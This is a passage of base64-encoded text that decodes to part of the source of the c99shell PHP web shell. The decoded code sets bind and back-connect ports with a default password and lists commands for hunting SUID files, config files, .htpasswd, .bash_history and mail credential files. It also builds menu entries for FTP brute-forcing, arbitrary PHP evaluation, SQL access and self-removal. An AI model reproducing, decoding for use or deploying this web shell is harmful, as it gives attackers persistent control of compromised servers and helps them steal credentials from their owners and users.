ICAgICAgICJnaWYiLA0KICAgICAgICAicG5nIiwNCiAgICAgICAgImpwZWciLA0KICAgICAgICAi
amZpZiIsDQogICAgICAgICJqcGciLA0KICAgICAgICAianBlIiwNCiAgICAgICAgImJtcCIsDQog
ICAgICAgICJpY28iLA0KICAgICAgICAidGlmIiwNCiAgICAgICAgInRpZmYiLA0KICAgICAgICAi
YXZpIiwNCiAgICAgICAgIm1wZyIsDQogICAgICAgICJtcGVnIg0KICAgICkgLA0KICAgICJzZGIi
ID0+IGFycmF5KA0KICAgICAgICAic2RiIg0KICAgICkgLA0KICAgICJwaHBzZXNzIiA9PiBhcnJh
eSgNCiAgICAgICAgInNlc3MiDQogICAgKSAsDQogICAgImRvd25sb2FkIiA9PiBhcnJheSgNCiAg
ICAgICAgImV4ZSIsDQogICAgICAgICJjb20iLA0KICAgICAgICAicGlmIiwNCiAgICAgICAgInNy
YyIsDQogICAgICAgICJsbmsiLA0KICAgICAgICAiemlwIiwNCiAgICAgICAgInJhciIsDQogICAg
ICAgICJneiIsDQogICAgICAgICJ0YXIiDQogICAgKQ0KKTsNCiRleGVmdHlwZXMgPSBhcnJheSgN
CiAgICBnZXRlbnYoIlBIUFJDIikgLiAiIC1xICVmJSIgPT4gYXJyYXkoDQogICAgICAgICJwaHAi
LA0KICAgICAgICAicGhwMyIsDQogICAgICAgICJwaHA0Ig0KICAgICkgLA0KICAgICJwZXJsICVm
JSIgPT4gYXJyYXkoDQogICAgICAgICJwbCIsDQogICAgICAgICJjZ2kiDQogICAgKQ0KKTsNCiRy
ZWd4cF9oaWdobGlnaHQgPSBhcnJheSgNCiAgICBhcnJheSgNCiAgICAgICAgYmFzZW5hbWUoJF9T
RVJWRVJbIlBIUF9TRUxGIl0pICwNCiAgICAgICAgMSwNCiAgICAgICAgIjxmb250IGNvbG9yPVwi
eWVsbG93XCI+IiwNCiAgICAgICAgIjwvZm9udD4iDQogICAgKSAsDQogICAgYXJyYXkoDQogICAg
ICAgICJjb25maWcucGhwIiwNCiAgICAgICAgMQ0KICAgICkNCik7DQokc2FmZW1vZGVfZGlza2V0
dGVzID0gYXJyYXkoDQogICAgImEiDQopOw0KJGhleGR1bXBfbGluZXMgPSA4Ow0KJGhleGR1bXBf
cm93cyA9IDI0Ow0KJG5peHB3ZHBlcnBhZ2UgPSAxMDA7DQokYmluZHBvcnRfcGFzcyA9ICJjOTki
Ow0KJGJpbmRwb3J0X3BvcnQgPSAiMzEzNzMiOw0KJGJjX3BvcnQgPSAiMzEzNzMiOw0KJGRhdGFw
aXBlX2xvY2FscG9ydCA9ICI4MDgxIjsNCmlmICghJHdpbikNCnsNCiAgICAkY21kYWxpYXNlcyA9
IGFycmF5KA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICItLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsDQogICAgICAgICAgICAi
bHMgLWxhIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCBh
bGwgc3VpZCBmaWxlcyIsDQogICAgICAgICAgICAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAw
IC1scyINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImZpbmQgc3Vp
ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAgICAgICAgICAiZmluZCAuIC10eXBlIGYgLXBl
cm0gLTA0MDAwIC1scyINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAg
ImZpbmQgYWxsIHNnaWQgZmlsZXMiLA0KICAgICAgICAgICAgImZpbmQgLyAtdHlwZSBmIC1wZXJt
IC0wMjAwMCAtbHMiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJm
aW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLA0KICAgICAgICAgICAgImZpbmQgLiAtdHlw
ZSBmIC1wZXJtIC0wMjAwMCAtbHMiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgNCiAgICAg
ICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5kIC8g
LXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5
KA0KICAgICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIsDQogICAgICAgICAgICAiZmluZCAv
IC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgN
CiAgICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLA0KICAgICAg
ICAgICAgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIg0KICAgICAgICApICwNCiAg
ICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQg
ZmlsZXMiLA0KICAgICAgICAgICAgImZpbmQgLyAtcGVybSAtMiAtbHMiDQogICAgICAgICkgLA0K
ICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFu
ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAgICAgICAgICAiZmluZCAuIC1wZXJtIC0yIC1s
cyINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImZpbmQgYWxsIHNl
cnZpY2UucHdkIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2
aWNlLnB3ZCINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImZpbmQg
c2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLA0KICAgICAgICAgICAgImZpbmQgLiAt
dHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQog
ICAgICAgICAgICAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5k
IC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgN
CiAgICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAg
ICAgICAgICAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIg0KICAgICAgICApICwNCiAg
ICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIs
DQogICAgICAgICAgICAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSINCiAgICAg
ICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImZpbmQgLmJhc2hfaGlzdG9yeSBm
aWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAgICAgICAgICAiZmluZCAuIC10eXBlIGYgLW5hbWUg
LmJhc2hfaGlzdG9yeSINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAg
ImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsDQogICAgICAgICAgICAiZmluZCAvIC10eXBl
IGYgLW5hbWUgLmZldGNobWFpbHJjIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAg
ICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLA0KICAgICAg
ICAgICAgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyINCiAgICAgICAgKSAsDQog
ICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGlu
dXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwNCiAgICAgICAgICAgICJsc2F0dHIgLXZh
Ig0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAic2hvdyBvcGVuZWQg
cG9ydHMiLA0KICAgICAgICAgICAgIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iDQogICAg
ICAgICkNCiAgICApOw0KfQ0KZWxzZQ0Kew0KICAgICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAg
ICAgIGFycmF5KA0KICAgICAgICAgICAgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwNCiAgICAgICAgICAgICJkaXIiDQogICAgICAg
ICkgLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIsDQog
ICAgICAgICAgICAibmV0c3RhdCAtYW4iDQogICAgICAgICkNCiAgICApOw0KfQ0KJHNlc3NfY29v
a2llID0gImM5OXNodmFycyI7DQokdXNlZnNidWZmID0gdHJ1ZTsNCiRjb3B5X3Vuc2V0ID0gZmFs
c2U7DQokcXVpY2tsYXVuY2ggPSBhcnJheSgNCiAgICBhcnJheSgNCiAgICAgICAgIjxpbWcgc3Jj
PVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJIb21lXCIgaGVpZ2h0PVwi
MjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAgICRzdXJsDQogICAgKSAs
DQogICAgYXJyYXkoDQogICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmlt
Zz1iYWNrXCIgYWx0PVwiQmFja1wiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1c
IjBcIj4iLA0KICAgICAgICAiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmJhY2soMSkiDQogICAgKSAs
DQogICAgYXJyYXkoDQogICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmlt
Zz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJv
cmRlcj1cIjBcIj4iLA0KICAgICAgICAiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIg0KICAg
ICkgLA0KICAgIGFycmF5KA0KICAgICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWlt
ZyZpbWc9dXBcIiBhbHQ9XCJVUERJUlwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRl
cj1cIjBcIj4iLA0KICAgICAgICAkc3VybCAuICJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiDQog
ICAgKSAsDQogICAgYXJyYXkoDQogICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9
aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIx
N1wiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAgICAiIg0KICAgICkgLA0KICAgIGFycmF5KA0KICAg
ICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9c2VhcmNoXCIgYWx0PVwi
U2VhcmNoXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsDQogICAg
ICAgICRzdXJsIC4gImFjdD1zZWFyY2gmZD0lZCINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAg
ICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1
ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAg
ICAkc3VybCAuICJhY3Q9ZnNidWZmJmQ9JWQiDQogICAgKSAsDQogICAgYXJyYXkoDQogICAgICAg
ICI8Yj5FbmNvZGVyPC9iPiIsDQogICAgICAgICRzdXJsIC4gImFjdD1lbmNvZGVyJmQ9JWQiDQog
ICAgKSAsDQogICAgYXJyYXkoDQogICAgICAgICI8Yj5Ub29sczwvYj4iLA0KICAgICAgICAkc3Vy
bCAuICJhY3Q9dG9vbHMmZD0lZCINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPlBy
b2MuPC9iPiIsDQogICAgICAgICRzdXJsIC4gImFjdD1wcm9jZXNzZXMmZD0lZCINCiAgICApICwN
CiAgICBhcnJheSgNCiAgICAgICAgIjxiPkZUUCBicnV0ZTwvYj4iLA0KICAgICAgICAkc3VybCAu
ICJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5KA0KICAgICAgICAi
PGI+U2VjLjwvYj4iLA0KICAgICAgICAkc3VybCAuICJhY3Q9c2VjdXJpdHkmZD0lZCINCiAgICAp
ICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPlNRTDwvYj4iLA0KICAgICAgICAkc3VybCAuICJh
Y3Q9c3FsJmQ9JWQiDQogICAgKSAsDQogICAgYXJyYXkoDQogICAgICAgICI8Yj5QSFAtY29kZTwv
Yj4iLA0KICAgICAgICAkc3VybCAuICJhY3Q9ZXZhbCZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5
KA0KICAgICAgICAiPGI+VXBkYXRlPC9iPiIsDQogICAgICAgICRzdXJsIC4gImFjdD11cGRhdGUm
ZD0lZCINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPkZlZWRiYWNrPC9iPiIsDQog
ICAgICAgICRzdXJsIC4gImFjdD1mZWVkYmFjayZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5KA0K
ICAgICAgICAiPGI+U2VsZiByZW1vdmU8L2I+IiwNCiAgICAgICAgJHN1cmwgLiAiYWN0PXNlbGZy
ZW1vdmUiDQogICAgKSAsDQogICAgYXJyYXkoDQogICAgICAgICI8Yj5Mb2dvdXQ8L2I+IiwNCiAg
ICAgICAgIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93
LmNsb3NlKCkiDQogICAgKQ0KKTsNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjYzBjMGMwIjsN
CiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2
QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAi
IzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0
cmluZyA9ICIjMDAwMDAwIjsNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFV
RVNUWyJjOTlzaGNvb2siXSk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQokdG1wID0gYXJyYXkoKTsN
CmZvcmVhY2ggKCRob3N0X2FsbG93IGFzICRrID0+ICR2KQ0Kew0KICAgICR0bXBbXSA9IHN0cl9y
ZXBsYWNlKCJcXCoiLCAiLioiLCBwcmVnX3F1b3RlKCR2KSk7DQp9DQokcyA9ICIhXigiIC4gaW1w
bG9kZSgifCIsICR0bXApIC4gIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLCBnZXRlbnYoIlJF
TU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcywgZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJF
TU9URV9BRERSIikpKSkNCnsNCiAgICBleGl0KCI8YSBocmVmPVwiaHR0cHM6Ly9naXRodWIuY29t
L0thaXplbkxvdWllL0M5OVNoZWxsLVBIUDdcIj5jOTlzaGVsbDwvYT46IEFjY2VzcyBEZW5pZWQg
LSB5b3VyIGhvc3QgKCIgLiBnZXRlbnYoIlJFTU9URV9BRERSIikgLiAiKSBub3QgYWxsb3ciKTsN
Cn0NCmlmICghZW1wdHkoJGxvZ2luKSkNCnsNCiAgICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkNCiAg
ICB7DQogICAgICAgICRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7DQogICAgfQ0KICAgIGlmICgoJF9T
RVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9B
VVRIX1BXIl0pICE9ICRtZDVfcGFzcykpDQogICAgew0KICAgICAgICBpZiAoZW1wdHkoJGxvZ2lu
X3R4dCkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRsb2dpbl90eHQgPSBzdHJpcF90YWdzKHBy
ZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCAiICIsICRkb25hdGVkX2h0bWwpKTsNCiAgICAgICAg
fQ0KICAgICAgICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiYzk5c2hl
bGwgIiAuICRzaHZlciAuICI6ICIgLiAkbG9naW5fdHh0IC4gIlwiIik7DQogICAgICAgIGhlYWRl
cigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgICAgICBleGl0KCRhY2Nlc3NkZW5p
ZWRtZXNzKTsNCiAgICB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiAgICAkbGFzdGRpciA9
IHJlYWxwYXRoKCIuIik7DQogICAgY2hkaXIoJGN1cmRpcik7DQogICAgaWYgKCRzZWxmd3JpdGUg
b3IgJHVwZGF0ZW5vdykNCiAgICB7DQogICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICBjOTlz
aF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwgMSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgICRz
ZXNzX2RhdGEgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsiJHNlc3NfY29va2llIl0pOw0KICAgIGlm
ICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpDQogICAgew0KICAgICAgICAkc2Vzc19kYXRhID0gYXJy
YXkoKTsNCiAgICB9DQogICAgaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKQ0KICAg
IHsNCiAgICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXkoKTsNCiAgICB9DQogICAgaWYg
KCFpc19hcnJheSgkc2Vzc19kYXRhWyJjdXQiXSkpDQogICAgew0KICAgICAgICAkc2Vzc19kYXRh
WyJjdXQiXSA9IGFycmF5KCk7DQogICAgfQ0KICAgICRkaXNhYmxlZnVuYyA9IEBpbmlfZ2V0KCJk
aXNhYmxlX2Z1bmN0aW9ucyIpOw0KICAgIGlmICghZW1wdHkoJGRpc2FibGVmdW5jKSkNCiAgICB7
DQogICAgICAgICRkaXNhYmxlZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwgIiIsICRkaXNhYmxlZnVu
Yyk7DQogICAgICAgICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCAkZGlzYWJsZWZ1bmMpOw0K
ICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X2J1ZmZfcHJlcGFyZSIpKQ0KICAg
IHsNCiAgICAgICAgZnVuY3Rpb24gYzk5X2J1ZmZfcHJlcGFyZSgpDQogICAgICAgIHsNCiAgICAg
ICAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgICAgICAgZ2xvYmFsICRhY3Q7DQogICAg
ICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGsgPT4gJHYpDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBs
YWNlKCJcXCIsIERJUkVDVE9SWV9TRVBBUkFUT1IsIHJlYWxwYXRoKCR2KSk7DQogICAgICAgICAg
ICB9DQogICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkayA9PiAkdikN
CiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkc2Vzc19kYXRhWyJjdXQiXVska10gPSBz
dHJfcmVwbGFjZSgiXFwiLCBESVJFQ1RPUllfU0VQQVJBVE9SLCByZWFscGF0aCgkdikpOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVl
KCRzZXNzX2RhdGFbImNvcHkiXSk7DQogICAgICAgICAgICAkc2Vzc19kYXRhWyJjdXQiXSA9IGFy
cmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7DQogICAgICAgICAgICBzb3J0KCRzZXNzX2Rh
dGFbImNvcHkiXSk7DQogICAgICAgICAgICBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAg
ICAgICAgIGlmICgkYWN0ICE9ICJjb3B5IikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkayA9PiAkdikNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2
KQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICB1bnNldCgk
c2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGsgPT4gJHYp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJHNlc3NfZGF0YVsi
Y3V0Il1bJGtdID09ICR2KQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0K
ICAgIGM5OV9idWZmX3ByZXBhcmUoKTsNCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X3Nl
c3NfcHV0IikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBjOTlfc2Vzc19wdXQoJGRhdGEpDQog
ICAgICAgIHsNCiAgICAgICAgICAgIGdsb2JhbCAkc2Vzc19jb29raWU7DQogICAgICAgICAgICBn
bG9iYWwgJHNlc3NfZGF0YTsNCiAgICAgICAgICAgIGM5OV9idWZmX3ByZXBhcmUoKTsNCiAgICAg
ICAgICAgICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAgICAgICAgICAgICRkYXRhID0gc2VyaWFsaXpl
KCRkYXRhKTsNCiAgICAgICAgICAgIHNldGNvb2tpZSgkc2Vzc19jb29raWUsICRkYXRhKTsNCiAg
ICAgICAgfQ0KICAgIH0NCiAgICBmb3JlYWNoIChhcnJheSgNCiAgICAgICAgInNvcnQiLA0KICAg
ICAgICAic3FsX3NvcnQiDQogICAgKSBhcyAkdikNCiAgICB7DQogICAgICAgIGlmICghZW1wdHko
JF9HRVRbJHZdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJCR2ID0gJF9HRVRbJHZdOw0KICAg
ICAgICB9DQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpDQogICAgICAgIHsNCiAgICAg
ICAgICAgICQkdiA9ICRfUE9TVFskdl07DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRzb3J0
X3NhdmUpDQogICAgew0KICAgICAgICBpZiAoIWVtcHR5KCRzb3J0KSkNCiAgICAgICAgew0KICAg
ICAgICAgICAgc2V0Y29va2llKCJzb3J0IiwgJHNvcnQpOw0KICAgICAgICB9DQogICAgICAgIGlm
ICghZW1wdHkoJHNxbF9zb3J0KSkNCiAgICAgICAgew0KICAgICAgICAgICAgc2V0Y29va2llKCJz
cWxfc29ydCIsICRzcWxfc29ydCk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlv
bl9leGlzdHMoInN0cjJtaW5pIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBzdHIybWluaSgk
Y29udGVudCwgJGxlbikNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN0cmxlbigkY29udGVu
dCkgPiAkbGVuKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRsZW4gPSBjZWlsKCRs
ZW4gLyAyKSAtIDI7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwg
JGxlbikgLiAiLi4uIiAuIHN1YnN0cigkY29udGVudCwgLSRsZW4pOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiAk
Y29udGVudDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0
aW9uX2V4aXN0cygidmlld19zaXplIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiB2aWV3X3Np
emUoJHNpemUpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghaXNfbnVtZXJpYygkc2l6ZSkp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlm
ICgkc2l6ZSA+PSAxMDczNzQxODI0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBH
QiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHNpemUgPj0g
MTA0ODU3NikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRzaXplID0g
cm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIiOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpDQogICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAq
IDEwMCkgLyAxMDAgLiAiIEtCIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHNpemUgPSAkc2l6
ZSAuICIgQiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiAkc2l6
ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4
aXN0cygiZnNfY29weV9kaXIiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGZzX2NvcHlfZGly
KCRkLCAkdCkNCiAgICAgICAgew0KICAgICAgICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLCBE
SVJFQ1RPUllfU0VQQVJBVE9SLCAkZCk7DQogICAgICAgICAgICBpZiAoc3Vic3RyKCRkLCAtMSkg
IT0gRElSRUNUT1JZX1NFUEFSQVRPUikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAk
ZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGgg
PSBvcGVuZGlyKCRkKTsNCiAgICAgICAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09
IGZhbHNlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgoJG8gIT0gIi4iKSBh
bmQgKCRvICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
aWYgKCFpc19kaXIoJGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pKQ0KICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gY29weSgkZCAuIERJUkVD
VE9SWV9TRVBBUkFUT1IgLiAkbywgJHQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IG1rZGlyKCR0IC4gRElS
